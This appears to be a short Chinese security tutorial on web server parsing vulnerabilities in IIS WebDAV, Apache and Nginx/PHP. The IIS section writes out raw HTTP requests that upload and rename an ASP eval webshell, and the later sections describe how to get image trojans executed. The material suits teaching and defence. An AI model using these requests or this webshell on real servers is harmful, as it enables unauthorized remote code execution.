基于IIS容器的WebDav漏洞
它扩展了HTTP协议,在原有的GET、POST、HEAD等几个HTTP标准方法以外还添加了PUT、Move、Copy、Delete等方法。
1.通过OPTIONS探测服务器所支持的HTTP方法
OPTIONS / HTTP/1.1
Host:www.xxx.com
2.通过PUT向服务器上传文件
PUT /a.txt HTTP/1.1
Host:www.xxx.com
Content-Length:30
<%eval request("aaa")%>
3.通过Move或Copy方法改名
COPY /a.txt HTTP/1.1
Host:www.xxx.com
Destination:http://www.xxx.com/cmd.asp
4.通过DELETE删除文件
DELETE /a.txt HTTP/1.1
Host:www.xxx.com
可以看到,通过这些HTTP方法不难获取一个WebShell
在Apache1.x和2.x版本中存在解析漏洞,但它们与IIS不同。
例:在URL中输入http://www.xxx.com/a.php.rar
,a.php.rar被当做php文件去解析并正常运行了。
这是因为apache在解析文件是有一个原则,遇到不认识的扩展名时,会从后往前解析,直到碰到认识的扩展名为止,如果都不认识,则暴露源代码。
在apache的安装目录下,有个配置文件/conf/mime.types
,该文件有详细的扩展名列表,从这里可以看到它认识什么扩展名!
Nginx是一款高性能的Web服务器,通常用来作为PHP的解析容器,PHP CGI漏洞虽然与Nginx关系不是很大,但由于Nginx与PHP配合很容易造成这种解析漏洞,所以通常该漏洞常常被认为是Nginx的漏洞。
例:在URL中输入http://www.xxx.com/a.jpg/b.php
此时的b.php文件是不存在的,但a.jpg却被当PHP文件去解析了,问题就在b.php上(这个文件名不是固定的,可以随便命名)。意味着攻击者可以合法上传图片马,并在URL后加上/xxx.php
,就可以获取WebShell。